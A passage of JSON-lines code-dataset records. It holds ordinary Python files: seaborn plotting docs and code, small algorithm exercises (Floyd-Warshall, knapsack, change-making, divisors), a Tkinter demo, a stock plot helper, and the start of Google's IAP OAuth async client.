{palette}\n {saturation}\n {dodge}\n {ax_in}\n kwargs : key, value mappings\n Other keyword arguments are passed through to\n :meth:`matplotlib.axes.Axes.bar`.\n\n Returns\n -------\n {ax_out}\n\n See Also\n --------\n {barplot}\n {catplot}\n\n Examples\n --------\n\n Show value counts for a single categorical variable:\n\n .. plot::\n :context: close-figs\n\n >>> import seaborn as sns\n >>> sns.set_theme(style=\"darkgrid\")\n >>> titanic = sns.load_dataset(\"titanic\")\n >>> ax = sns.countplot(x=\"class\", data=titanic)\n\n Show value counts for two categorical variables:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.countplot(x=\"class\", hue=\"who\", data=titanic)\n\n Plot the bars horizontally:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.countplot(y=\"class\", hue=\"who\", data=titanic)\n\n Use a different color palette:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.countplot(x=\"who\", data=titanic, palette=\"Set3\")\n\n Use :meth:`matplotlib.axes.Axes.bar` parameters to control the style.\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.countplot(x=\"who\", data=titanic,\n ... facecolor=(0, 0, 0, 0),\n ... linewidth=5,\n ... edgecolor=sns.color_palette(\"dark\", 3))\n\n Use :func:`catplot` to combine a :func:`countplot` and a\n :class:`FacetGrid`. This allows grouping within additional categorical\n variables. Using :func:`catplot` is safer than using :class:`FacetGrid`\n directly, as it ensures synchronization of variable order across facets:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"class\", hue=\"who\", col=\"survived\",\n ... data=titanic, kind=\"count\",\n ... height=4, aspect=.7);\n\n \"\"\").format(**_categorical_docs)\n\n\ndef factorplot(*args, **kwargs):\n \"\"\"Deprecated; please use `catplot` instead.\"\"\"\n\n msg = (\n \"The `factorplot` function has been renamed to `catplot`. The \"\n \"original name will be removed in a future release. Please update \"\n \"your code. Note that the default `kind` in `factorplot` (`'point'`) \"\n \"has changed `'strip'` in `catplot`.\"\n )\n warnings.warn(msg)\n\n if \"size\" in kwargs:\n kwargs[\"height\"] = kwargs.pop(\"size\")\n msg = (\"The `size` parameter has been renamed to `height`; \"\n \"please update your code.\")\n warnings.warn(msg, UserWarning)\n\n kwargs.setdefault(\"kind\", \"point\")\n\n return catplot(*args, **kwargs)\n\n\n@_deprecate_positional_args\ndef catplot(\n *,\n x=None, y=None,\n hue=None, data=None,\n row=None, col=None, # TODO move in front of data when * is enforced\n col_wrap=None, estimator=np.mean, ci=95, n_boot=1000,\n units=None, seed=None, order=None, hue_order=None, row_order=None,\n col_order=None, kind=\"strip\", height=5, aspect=1,\n orient=None, color=None, palette=None,\n legend=True, legend_out=True, sharex=True, sharey=True,\n margin_titles=False, facet_kws=None,\n **kwargs\n):\n\n # Handle deprecations\n if \"size\" in kwargs:\n height = kwargs.pop(\"size\")\n msg = (\"The `size` parameter has been renamed to `height`; \"\n \"please update your code.\")\n warnings.warn(msg, UserWarning)\n\n # Determine the plotting function\n try:\n plot_func = globals()[kind + \"plot\"]\n except KeyError:\n err = \"Plot kind '{}' is not recognized\".format(kind)\n raise ValueError(err)\n\n # Alias the input variables to determine categorical order and palette\n # correctly in the case of a count plot\n if kind == \"count\":\n if x is None and y is not None:\n x_, y_, orient = y, y, \"h\"\n elif y is None and x is not None:\n x_, y_, orient = x, x, \"v\"\n else:\n raise ValueError(\"Either `x` or `y` must be None for kind='count'\")\n else:\n x_, y_ = x, y\n\n # Check for attempt to plot onto specific axes and warn\n if \"ax\" in kwargs:\n msg = (\"catplot is a figure-level function and does not accept \"\n \"target axes. You may wish to try {}\".format(kind + \"plot\"))\n warnings.warn(msg, UserWarning)\n kwargs.pop(\"ax\")\n\n # Determine the order for the whole dataset, which will be used in all\n # facets to ensure representation of all data in the final plot\n plotter_class = {\n \"box\": _BoxPlotter,\n \"violin\": _ViolinPlotter,\n \"boxen\": _LVPlotter,\n \"bar\": _BarPlotter,\n \"point\": _PointPlotter,\n \"strip\": _StripPlotter,\n \"swarm\": _SwarmPlotter,\n \"count\": _CountPlotter,\n }[kind]\n p = _CategoricalPlotter()\n p.require_numeric = plotter_class.require_numeric\n p.establish_variables(x_, y_, hue, data, orient, order, hue_order)\n if (\n order is not None\n or (sharex and p.orient == \"v\")\n or (sharey and p.orient == \"h\")\n ):\n # Sync categorical axis between facets to have the same categories\n order = p.group_names\n elif color is None and hue is None:\n msg = (\n \"Setting `{}=False` with `color=None` may cause different levels of the \"\n \"`{}` variable to share colors. This will change in a future version.\"\n )\n if not sharex and p.orient == \"v\":\n warnings.warn(msg.format(\"sharex\", \"x\"), UserWarning)\n if not sharey and p.orient == \"h\":\n warnings.warn(msg.format(\"sharey\", \"y\"), UserWarning)\n\n hue_order = p.hue_names\n\n # Determine the palette to use\n # (FacetGrid will pass a value for ``color`` to the plotting function\n # so we need to define ``palette`` to get default behavior for the\n # categorical functions\n p.establish_colors(color, palette, 1)\n if kind != \"point\" or hue is not None:\n palette = p.colors\n\n # Determine keyword arguments for the facets\n facet_kws = {} if facet_kws is None else facet_kws\n facet_kws.update(\n data=data, row=row, col=col,\n row_order=row_order, col_order=col_order,\n col_wrap=col_wrap, height=height, aspect=aspect,\n sharex=sharex, sharey=sharey,\n legend_out=legend_out, margin_titles=margin_titles,\n dropna=False,\n )\n\n # Determine keyword arguments for the plotting function\n plot_kws = dict(\n order=order, hue_order=hue_order,\n orient=orient, color=color, palette=palette,\n )\n plot_kws.update(kwargs)\n\n if kind in [\"bar\", \"point\"]:\n plot_kws.update(\n estimator=estimator, ci=ci, n_boot=n_boot, units=units, seed=seed,\n )\n\n # Initialize the facets\n g = FacetGrid(**facet_kws)\n\n # Draw the plot onto the facets\n g.map_dataframe(plot_func, x=x, y=y, hue=hue, **plot_kws)\n\n if p.orient == \"h\":\n g.set_axis_labels(p.value_label, p.group_label)\n else:\n g.set_axis_labels(p.group_label, p.value_label)\n\n # Special case axis labels for a count type plot\n if kind == \"count\":\n if x is None:\n g.set_axis_labels(x_var=\"count\")\n if y is None:\n g.set_axis_labels(y_var=\"count\")\n\n if legend and (hue is not None) and (hue not in [x, row, col]):\n hue_order = list(map(utils.to_utf8, hue_order))\n g.add_legend(title=hue, label_order=hue_order)\n\n return g\n\n\ncatplot.__doc__ = dedent(\"\"\"\\\n Figure-level interface for drawing categorical plots onto a\n :class:`FacetGrid`.\n\n This function provides access to several axes-level functions that\n show the relationship between a numerical and one or more categorical\n variables using one of several visual representations. The ``kind``\n parameter selects the underlying axes-level function to use:\n\n Categorical scatterplots:\n\n - :func:`stripplot` (with ``kind=\"strip\"``; the default)\n - :func:`swarmplot` (with ``kind=\"swarm\"``)\n\n Categorical distribution plots:\n\n - :func:`boxplot` (with ``kind=\"box\"``)\n - :func:`violinplot` (with ``kind=\"violin\"``)\n - :func:`boxenplot` (with ``kind=\"boxen\"``)\n\n Categorical estimate plots:\n\n - :func:`pointplot` (with ``kind=\"point\"``)\n - :func:`barplot` (with ``kind=\"bar\"``)\n - :func:`countplot` (with ``kind=\"count\"``)\n\n Extra keyword arguments are passed to the underlying function, so you\n should refer to the documentation for each to see kind-specific options.\n\n Note that unlike when using the axes-level functions directly, data must be\n passed in a long-form DataFrame with variables specified by passing strings\n to ``x``, ``y``, ``hue``, etc.\n\n As in the case with the underlying plot functions, if variables have a\n ``categorical`` data type, the levels of the categorical variables, and\n their order will be inferred from the objects. Otherwise you may have to\n use alter the dataframe sorting or use the function parameters (``orient``,\n ``order``, ``hue_order``, etc.) to set up the plot correctly.\n\n {categorical_narrative}\n\n After plotting, the :class:`FacetGrid` with the plot is returned and can\n be used directly to tweak supporting plot details or add other layers.\n\n Parameters\n ----------\n {string_input_params}\n {long_form_data}\n row, col : names of variables in ``data``, optional\n Categorical variables that will determine the faceting of the grid.\n {col_wrap}\n {stat_api_params}\n {order_vars}\n row_order, col_order : lists of strings, optional\n Order to organize the rows and/or columns of the grid in, otherwise the\n orders are inferred from the data objects.\n kind : str, optional\n The kind of plot to draw, corresponds to the name of a categorical\n axes-level plotting function. Options are: \"strip\", \"swarm\", \"box\", \"violin\",\n \"boxen\", \"point\", \"bar\", or \"count\".\n {height}\n {aspect}\n {orient}\n {color}\n {palette}\n legend : bool, optional\n If ``True`` and there is a ``hue`` variable, draw a legend on the plot.\n {legend_out}\n {share_xy}\n {margin_titles}\n facet_kws : dict, optional\n Dictionary of other keyword arguments to pass to :class:`FacetGrid`.\n kwargs : key, value pairings\n Other keyword arguments are passed through to the underlying plotting\n function.\n\n Returns\n -------\n g : :class:`FacetGrid`\n Returns the :class:`FacetGrid` object with the plot on it for further\n tweaking.\n\n Examples\n --------\n\n Draw a single facet to use the :class:`FacetGrid` legend placement:\n\n .. plot::\n :context: close-figs\n\n >>> import seaborn as sns\n >>> sns.set_theme(style=\"ticks\")\n >>> exercise = sns.load_dataset(\"exercise\")\n >>> g = sns.catplot(x=\"time\", y=\"pulse\", hue=\"kind\", data=exercise)\n\n Use a different plot kind to visualize the same data:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"time\", y=\"pulse\", hue=\"kind\",\n ... data=exercise, kind=\"violin\")\n\n Facet along the columns to show a third categorical variable:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"time\", y=\"pulse\", hue=\"kind\",\n ... col=\"diet\", data=exercise)\n\n Use a different height and aspect ratio for the facets:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"time\", y=\"pulse\", hue=\"kind\",\n ... col=\"diet\", data=exercise,\n ... height=5, aspect=.8)\n\n Make many column facets and wrap them into the rows of the grid:\n\n .. plot::\n :context: close-figs\n\n >>> titanic = sns.load_dataset(\"titanic\")\n >>> g = sns.catplot(x=\"alive\", col=\"deck\", col_wrap=4,\n ... data=titanic[titanic.deck.notnull()],\n ... kind=\"count\", height=2.5, aspect=.8)\n\n Plot horizontally and pass other keyword arguments to the plot function:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"age\", y=\"embark_town\",\n ... hue=\"sex\", row=\"class\",\n ... data=titanic[titanic.embark_town.notnull()],\n ... orient=\"h\", height=2, aspect=3, palette=\"Set3\",\n ... kind=\"violin\", dodge=True, cut=0, bw=.2)\n\n Use methods on the returned :class:`FacetGrid` to tweak the presentation:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"who\", y=\"survived\", col=\"class\",\n ... data=titanic, saturation=.5,\n ... kind=\"bar\", ci=None, aspect=.6)\n >>> (g.set_axis_labels(\"\", \"Survival Rate\")\n ... .set_xticklabels([\"Men\", \"Women\", \"Children\"])\n ... .set_titles(\"{{col_name}} {{col_var}}\")\n ... .set(ylim=(0, 1))\n ... .despine(left=True)) #doctest: +ELLIPSIS\n \n\n \"\"\").format(**_categorical_docs)\n","repo_name":"sid-the-coder/QuickDA","sub_path":"environment/lib/python3.7/site-packages/seaborn/categorical.py","file_name":"categorical.py","file_ext":"py","file_size_in_byte":141029,"program_lang":"python","lang":"en","doc_type":"code","stars":88,"dataset":"github-code","pt":"78"}
+{"seq_id":"32225830830","text":"#!/usr/bin/env python\r\n#coding=utf-8\r\n\r\nfrom Tkinter import *\r\nimport Pmw\r\n\r\nroot = Pmw.initialise(fontScheme = 'pmw1')\r\n\r\ncounter = Pmw.Counter(\r\n label_text = 'Counter:',\r\n labelpos = 'w',\r\n entryfield_value = '00:00:00',\r\n entryfield_validate = 'time',\r\n datatype='time',\r\n increment=30,\r\n\t\t\r\n)\r\ncounter.pack(fill = 'x', padx = 10, pady = 10)\r\n\r\n\r\n\r\ncombo = Pmw.ComboBox(\r\n label_text = 'ComboBox:',\r\n labelpos = 'w',\r\n scrolledlist_items = map(str, range(20))\r\n)\r\ncombo.pack(fill = 'x', padx = 10, pady = 10)\r\n\r\nPmw.alignlabels((counter, combo))\r\n\r\nroot.title('example')\r\nroot.mainloop()\r\n\r\n","repo_name":"ccw850228/python-mid","sub_path":"pymid2.py","file_name":"pymid2.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12826462735","text":"import math\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\ndef plot(predicted=None, real=None):\n \n if predicted != None and real != None:\n plt.plot(real[:], color = 'red', label = 'Real Stock Price')\n plt.plot(predicted[:], color = 'blue', label = 'Predicted Stock Price')\n plt.title('Stock Price Prediction')\n plt.xlabel('Index')\n plt.ylabel('Stock Price')\n plt.savefig('stock_price_predicted_real.png')\n plt.show()\n \n elif predicted != None:\n plt.plot(predicted[:], color = 'blue', label = 'Predicted Stock Price')\n plt.title('Predicted Stock Prices')\n plt.xlabel('Index')\n plt.ylabel('Stock Price')\n plt.savefig('Predicted_stock_price.png')\n plt.show()\n \n elif real != None:\n plt.plot(real[:], color = 'red', label = 'Real Stock Price')\n plt.title('Real Stock Prices')\n plt.xlabel('Index')\n plt.ylabel('Stock Price')\n plt.savefig('Real_stock_price.png')\n plt.show()\n ","repo_name":"mohabmes/StockNN","sub_path":"visual.py","file_name":"visual.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"78"}
+{"seq_id":"35229909850","text":"from collections import deque\n\ndef FloydWarshall( G ):\n\n distance = [ [float('inf') for j in range(len(G))] for i in range(len(G))]\n\n for i in range(len(G)):\n for j in range(len(G[i])):\n if G[i][j] != 0:\n distance[i][j] = G[i][j]\n if i == j:\n distance[i][j] = 0\n\n for i in range(len(distance)):\n for j in range(len(distance)):\n for k in range(len(distance)):\n if distance[j][i] + distance[i][k] < distance[j][k]:\n distance[j][k] = distance[j][i] + distance[i][k]\n return distance\n\n\ndef Atom(M, x1, y1, d):\n\n G = FloydWarshall(M)\n\n for i in range(len(G)):\n print(G[i])\n\n visited = [ [False for j in range(len(G)) ] for i in range(len(G)) ]\n path = [ [(-1,-1) for j in range(len(G))] for i in range(len(G))]\n queue = deque()\n\n queue.append( (x1, y1) )\n visited[x1][y1] = True\n\n while len(queue) > 0:\n\n x, y = queue.popleft()\n\n if x == path[x][y][1] and y == path[x][y][0]:\n continue\n\n if x == y1 and y == x1:\n\n print(x,y)\n\n x,y = path[x][y]\n\n while x!= -1 and y != -1:\n print(x,y)\n x,y = path[x][y]\n \n\n return path\n\n\n print(x,y)\n visited[x][y] = True\n\n for i in range(len(M[x])):\n for j in range(len(M[y])):\n \n if i == x or j == y:\n continue\n\n if M[x][i] != 0 and M[y][j] != 0:\n\n if G[i][j] >= d and visited[i][j] == False: \n path[i][j] = (x, y)\n queue.append( (i,j) )\n\n elif M[x][i] != 0:\n\n if G[i][y] >= d and visited[i][y] == False:\n path[i][y] = (x, y)\n queue.append( (i,y) )\n\n elif M[y][j] != 0:\n\n if G[x][j] >= d and visited[x][j] == False:\n path[x][j] = (x,y)\n queue.append( (x,j) )\n \n\n \n\n\nM = [\n\n [0, 5, 1, 0, 0, 0],\n [5, 0, 0, 5, 0, 0],\n [1, 0, 0, 1, 0, 0],\n [0, 5, 1, 0, 1, 0],\n [0, 0, 0, 1, 0, 1],\n [0, 0, 0, 0, 1, 0]\n\n]\n\nx1 = 0\ny1 = 5\nd1 = 4\n\nAtom(M, x1, y1, d1)\n","repo_name":"JakubFr4czek/ASD","sub_path":"Powtorka/Atom.py","file_name":"Atom.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"30003869375","text":"\"\"\"\n모든 조합을 만들면 2^100.\n모든 조합을 알 필요가 없다. 무게별 최대 가치만 유지하면 된다. 거기서 추가! => DP\nd: i번째까지 고려했을 때, 무게별 최대 가치. 무게별로 구해야 하는 이유 => 작은 값끼리 더하려��.\nd를 어떻게 구하지? for 문으로 무게별로 다 돌려봐야지. bottom-up은 수렴식으로!\n\"\"\"\nn, k = map(int, input().split())\nweight, value = zip(*[map(int, input().split()) for _ in range(n)])\nweight = [0] + list(weight)\nvalue = [0] + list(value)\n\"\"\"d = [[0] * (k + 1) for _ in range(n + 1)]\nfor i in range(1, n + 1):\n for w in range(1, k + 1): # 무게가 0인걸 굳이 포함할 필욘없다.\n # i번째 추가 x\n d[i][w] = d[i - 1][w]\n # i번째 추가\n if w - weight[i] >= 0:\n d[i][w] = max(d[i][w], d[i - 1][w - weight[i]] + value[i])\nprint(d[n][k])\"\"\"\n\nd = [0] * (k + 1)\nfor i in range(1, n + 1):\n for w in range(k, 0, -1): # w-weight로 앞놈이 갱신되니까 뒷놈부터 해야한다.\n if w - weight[i] >= 0:\n d[w] = max(d[w], d[w - weight[i]] + value[i])\nprint(d[k])\n","repo_name":"jaelyangChoi/CodingTest","sub_path":"dynamic_programming/평범한 배낭.py","file_name":"평범한 배낭.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"2642119978","text":"\"\"\"\nCreate a program that asks how much purchases cost and the amount of paid money and then prints the amount of change.\nSimplify the program by only allowing the use of sums of 1, 2, 5 and 10 euros.\nEnsure that the total price is always in full euros.\nPurchase price: 12\nPaid amount of money: 50\nOffer change:\n3 ten-euro notes\n1 five-euro notes\n1 two-euro coins\n1 one-euro coins\n\n\"\"\"\n\n\ndef main():\n a = b = c = i = m = n = p = 0\n a = input(\"Purchase price: \")\n b = input(\"Paid amount of money: \")\n a = int(a)\n b = int(b)\n c = b - a\n # calculator\n if c < 0:\n print(\"No change\")\n if c == 0:\n print(\"No change\")\n if c > 0:\n print(\"Offer change:\")\n while c >= 10 and c // 10 > 0:\n i = i + 1\n c = c - 10\n\n while 10 > c >= 5 and c // 5 > 0:\n m = m + 1\n c = c - 5\n\n while 5 > c >= 2 and c // 2 > 0:\n n = n + 1\n c = c - 2\n\n while 2 >= c >= 1:\n p = p + 1\n c = c - 1\n\n # The results\n\n if i > 0:\n print(i, \"ten-euro notes\")\n if m > 0:\n print(m, \"five-euro notes\")\n if n > 0:\n print(n, \"two-euro coins\")\n if p > 0:\n print(p, \"one-euro coins\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nntk07204/Programming1","sub_path":"1. Course Details and Basic Concepts of Programming/1.6.10 ⌚⌚ Change.py","file_name":"1.6.10 ⌚⌚ Change.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"16228417034","text":"N = int(input())\n\nlimit = int(N**0.5)\n\ndevisors = []\nfor i in range(1,limit+1):\n if N%i==0:\n devisors.append(i)\n if i!=N//i: \n devisors.append(N//i)\n\ndevisors.sort()\nfor i in devisors:\n print(i)\n","repo_name":"Ibuki-Narukawa/math-algorithm","sub_path":"section3/DivisorEnumeration.py","file_name":"DivisorEnumeration.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"71496828733","text":"from collections import OrderedDict\nimport functools\nimport re\nfrom typing import (\n Dict,\n Mapping,\n MutableMapping,\n MutableSequence,\n Optional,\n Sequence,\n Tuple,\n Type,\n Union,\n)\n\nfrom google.api_core import exceptions as core_exceptions\nfrom google.api_core import gapic_v1\nfrom google.api_core import retry as retries\nfrom google.api_core.client_options import ClientOptions\nfrom google.auth import credentials as ga_credentials # type: ignore\nfrom google.oauth2 import service_account # type: ignore\n\nfrom google.cloud.iap_v1 import gapic_version as package_version\n\ntry:\n OptionalRetry = Union[retries.Retry, gapic_v1.method._MethodDefault]\nexcept AttributeError: # pragma: NO COVER\n OptionalRetry = Union[retries.Retry, object] # type: ignore\n\nfrom google.cloud.iap_v1.services.identity_aware_proxy_o_auth_service import pagers\nfrom google.cloud.iap_v1.types import service\n\nfrom .client import IdentityAwareProxyOAuthServiceClient\nfrom .transports.base import (\n DEFAULT_CLIENT_INFO,\n IdentityAwareProxyOAuthServiceTransport,\n)\nfrom .transports.grpc_asyncio import IdentityAwareProxyOAuthServiceGrpcAsyncIOTransport\n\n\nclass IdentityAwareProxyOAuthServiceAsyncClient:\n \"\"\"API to programmatically create, list and retrieve Identity\n Aware Proxy (IAP) OAuth brands; and create, retrieve, delete and\n reset-secret of IAP OAuth clients.\n \"\"\"\n\n _client: IdentityAwareProxyOAuthServiceClient\n\n DEFAULT_ENDPOINT = IdentityAwareProxyOAuthServiceClient.DEFAULT_ENDPOINT\n DEFAULT_MTLS_ENDPOINT = IdentityAwareProxyOAuthServiceClient.DEFAULT_MTLS_ENDPOINT\n\n common_billing_account_path = staticmethod(\n IdentityAwareProxyOAuthServiceClient.common_billing_account_path\n )\n parse_common_billing_account_path = staticmethod(\n IdentityAwareProxyOAuthServiceClient.parse_common_billing_account_path\n )\n common_folder_path = staticmethod(\n IdentityAwareProxyOAuthServiceClient.common_folder_path\n )\n parse_common_folder_path = staticmethod(\n IdentityAwareProxyOAuthServiceClient.parse_common_folder_path\n )\n common_organization_path = staticmethod(\n IdentityAwareProxyOAuthServiceClient.common_organization_path\n )\n parse_common_organization_path = staticmethod(\n IdentityAwareProxyOAuthServiceClient.parse_common_organization_path\n )\n common_project_path = staticmethod(\n IdentityAwareProxyOAuthServiceClient.common_project_path\n )\n parse_common_project_path = staticmethod(\n IdentityAwareProxyOAuthServiceClient.parse_common_project_path\n )\n common_location_path = staticmethod(\n IdentityAwareProxyOAuthServiceClient.common_location_path\n )\n parse_common_location_path = staticmethod(\n IdentityAwareProxyOAuthServiceClient.parse_common_location_path\n )\n\n @classmethod\n def from_service_account_info(cls, info: dict, *args, **kwargs):\n \"\"\"Creates an instance of this client using the provided credentials\n info.\n\n Args:\n info (dict): The service account private key info.\n args: Additional arguments to pass to the constructor.\n kwargs: Additional arguments to pass to the constructor.\n\n Returns:\n IdentityAwareProxyOAuthServiceAsyncClient: The constructed client.\n \"\"\"\n return IdentityAwareProxyOAuthServiceClient.from_service_account_info.__func__(IdentityAwareProxyOAuthServiceAsyncClient, info, *args, **kwargs) # type: ignore\n\n @classmethod\n def from_service_account_file(cls, filename: str, *args, **kwargs):\n \"\"\"Creates an instance of this client using the provided credentials\n file.\n\n Args:\n filename (str): The path to the service account private key json\n file.\n args: Additional arguments to pass to the constructor.\n kwargs: Additional arguments to pass to the constructor.\n\n Returns:\n IdentityAwareProxyOAuthServiceAsyncClient: The constructed client.\n \"\"\"\n return IdentityAwareProxyOAuthServiceClient.from_service_account_file.__func__(IdentityAwareProxyOAuthServiceAsyncClient, filename, *args, **kwargs) # type: ignore\n\n from_service_account_json = from_service_account_file\n\n @classmethod\n def get_mtls_endpoint_and_cert_source(\n cls, client_options: Optional[ClientOptions] = None\n ):\n \"\"\"Return the API endpoint and client cert source for mutual TLS.\n\n The client cert source is determined in the following order:\n (1) if `GOOGLE_API_USE_CLIENT_CERTIFICATE` environment variable is not \"true\", the\n client cert source is None.\n (2) if `client_options.client_cert_source` is provided, use the provided one; if the\n default client cert source exists, use the default one; otherwise the client cert\n source is None.\n\n The API endpoint is determined in the following order:\n (1) if `client_options.api_endpoint` if provided, use the provided one.\n (2) if `GOOGLE_API_USE_CLIENT_CERTIFICATE` environment variable is \"always\", use the\n default mTLS endpoint; if the environment variable is \"never\", use the default API\n endpoint; otherwise if client cert source exists, use the default mTLS endpoint, otherwise\n use the default API endpoint.\n\n More details can be found at https://google.aip.dev/auth/4114.\n\n Args:\n client_options (google.api_core.client_options.ClientOptions): Custom options for the\n client. Only the `api_endpoint` and `client_cert_source` properties may be used\n in this method.\n\n Returns:\n Tuple[str, Callable[[], Tuple[bytes, bytes]]]: returns the API endpoint and the\n client cert source to use.\n\n Raises:\n google.auth.exceptions.MutualTLSChannelError: If any errors happen.\n \"\"\"\n return IdentityAwareProxyOAuthServiceClient.get_mtls_endpoint_and_cert_source(client_options) # type: ignore\n\n @property\n def transport(self) -> IdentityAwareProxyOAuthServiceTransport:\n \"\"\"Returns the transport used by the client instance.\n\n Returns:\n IdentityAwareProxyOAuthServiceTransport: The transport used by the client instance.\n \"\"\"\n return self._client.transport\n\n get_transport_class = functools.partial(\n type(IdentityAwareProxyOAuthServiceClient).get_transport_class,\n type(IdentityAwareProxyOAuthServiceClient),\n )\n\n def __init__(\n self,\n *,\n credentials: Optional[ga_credentials.Credentials] = None,\n transport: Union[str, IdentityAwareProxyOAuthServiceTransport] = \"grpc_asyncio\",\n client_options: Optional[ClientOptions] = None,\n client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO,\n ) -> None:\n \"\"\"Instantiates the identity aware proxy o auth service client.\n\n Args:\n credentials (Optional[google.auth.credentials.Credentials]): The\n authorization credentials to attach to requests. These\n credentials identify the application to the service; if none\n are specified, the client will attempt to ascertain the\n credentials from the environment.\n transport (Union[str, ~.IdentityAwareProxyOAuthServiceTransport]): The\n transport to use. If set to None, a transport is chosen\n automatically.\n client_options (ClientOptions): Custom options for the client. It\n won't take effect if a ``transport`` instance is provided.\n (1) The ``api_endpoint`` property can be used to override the\n default endpoint provided by the client. GOOGLE_API_USE_MTLS_ENDPOINT\n environment variable can also be used to override the endpoint:\n \"always\" (always use the default mTLS endpoint), \"never\" (always\n use the default regular endpoint) and \"auto\" (auto switch to the\n default mTLS endpoint if client certificate is present, this is\n the default value). However, the ``api_endpoint`` property takes\n precedence if provided.\n (2) If GOOGLE_API_USE_CLIENT_CERTIFICATE environment variable\n is \"true\", then the ``client_cert_source`` property can be used\n to provide client certificate for mutual TLS transport. If\n not provided, the default SSL client certificate will be used if\n present. If GOOGLE_API_USE_CLIENT_CERTIFICATE is \"false\" or not\n set, no client certificate will be used.\n\n Raises:\n google.auth.exceptions.MutualTlsChannelError: If mutual TLS transport\n creation failed for any reason.\n \"\"\"\n self._client = IdentityAwareProxyOAuthServiceClient(\n credentials=credentials,\n transport=transport,\n client_options=client_options,\n client_info=client_info,\n )\n\n async def list_brands(\n self,\n request: Optional[Union[service.ListBrandsRequest, dict]] = None,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> service.ListBrandsResponse:\n r\"\"\"Lists the existing brands for the project.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import iap_v1\n\n async def sample_list_brands():\n # Create a client\n client = iap_v1.IdentityAwareProxyOAuthServiceAsyncClient()\n\n # Initialize request argument(s)\n request = iap_v1.ListBrandsRequest(\n parent=\"parent_value\",\n )\n\n # Make the request\n response = await client.list_brands(request=request)\n\n # Handle the response\n print(response)\n\n Args:\n request (Optional[Union[google.cloud.iap_v1.types.ListBrandsRequest, dict]]):\n The request object. The request sent to ListBrands.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.cloud.iap_v1.types.ListBrandsResponse:\n Response message for ListBrands.\n \"\"\"\n # Create or coerce a protobuf request object.\n request = service.ListBrandsRequest(request)\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = gapic_v1.method_async.wrap_method(\n self._client._transport.list_brands,\n default_timeout=None,\n client_info=DEFAULT_CLIENT_INFO,\n )\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"parent\", request.parent),)),\n )\n\n # Send the request.\n response = await rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Done; return the response.\n return response\n\n async def create_brand(\n self,\n request: Optional[Union[service.CreateBrandRequest, dict]] = None,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> service.Brand:\n r\"\"\"Constructs a new OAuth brand for the project if one\n does not exist. The created brand is \"internal only\",\n meaning that OAuth clients created under it only accept\n requests from users who belong to the same Google\n Workspace organization as the project. The brand is\n created in an un-reviewed status. NOTE: The \"internal\n only\" status can be manually changed in the Google Cloud\n Console. Requires that a brand does not already exist\n for the project, and that the specified support email is\n owned by the caller.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import iap_v1\n\n async def sample_create_brand():\n # Create a client\n client = iap_v1.IdentityAwareProxyOAuthServiceAsyncClient()\n\n # Initialize request argument(s)\n request = iap_v1.CreateBrandRequest(\n parent=\"parent_value\",\n )\n\n # Make the request\n response = await client.create_brand(request=request)\n\n # Handle the response\n print(response)\n\n Args:\n request (Optional[Union[google.cloud.iap_v1.types.CreateBrandRequest, dict]]):\n The request object. The request sent to CreateBrand.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.cloud.iap_v1.types.Brand:\n OAuth brand data.\n NOTE: Only contains a portion of the\n data that describes a brand.\n\n \"\"\"\n # Create or coerce a protobuf request object.\n request = service.CreateBrandRequest(request)\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = 